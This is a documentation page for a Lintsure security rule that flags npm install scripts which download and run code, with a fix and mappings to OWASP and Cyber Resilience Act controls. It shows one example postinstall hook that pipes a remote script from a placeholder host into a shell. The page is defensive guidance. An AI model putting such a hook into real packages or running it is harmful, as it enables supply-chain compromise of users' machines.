Skip to content

Install script downloads code

Partialmedium severity · reads .jsonBeta

Code fetched at install time isn't pinned or reviewed and runs with the installer's permissions (CWE-829). When Lintsure finds this, it marks it as Partial: it may be fine, depending on context only you can confirm.

What it looks like

A line Lintsure flags in its own test app:

// package.json
"postinstall": "curl -s https://example.com/setup.sh | sh"

How to fix it

Avoid downloading and running code in preinstall or postinstall. Vendor the file or document a manual step.

Through a coding agent, Lintsure suggests the change and waits. Nothing is edited until you approve it.

Controls it relates to

What the framework asks

OWASP Top 10 A03:2025: Software Supply Chain Failures

The code you didn't write: dependencies, build tools and CI. Versions should be pinned, install scripts shouldn't fetch code, CI actions should be pinned, untrusted pull requests must not run with your secrets, and text from issues or pull requests must never become part of a CI command.

Evidence a reviewer may ask for: Lockfiles, CI workflow files and the dependency update process.

Cyber Resilience Act Annex I Part II (1): Components identified, including an SBOM

You know what's in your product: pinned dependencies, no unexplained compiled files, and a machine-readable software bill of materials (SBOM) covering at least the top-level components.

Evidence a reviewer may ask for: An SBOM per release in CycloneDX or SPDX format.

OWASP LLM Top 10 LLM04:2026: Supply Chain

Models, datasets, plugins and packages come from others. Pin and check them like any dependency.

Evidence a reviewer may ask for: Where each model and dataset comes from, and its licence.

Summaries are our own reading of the public texts, not the official wording.

Check your code for this

Runs on your machine. Your code is never uploaded.

npx lintsure scan

Quickstart · Use it in Claude Code or Cursor

This rule is in Beta: its mapping to framework controls is our own reading of the public texts, not independently reviewed. Lintsure is a readiness tool, not an audit or legal advice. A finding, or the lack of one, doesn't make you compliant. Disclaimer

We improve these rules all the time. If you see a false alarm, a missed problem or anything that could work better, tell us in a review and we will use it to improve your experience.

Related rules

Did this rule flag something that's fine, or miss a real problem? Tell us on GitHub. Every report becomes a test case, so the same mistake can't come back.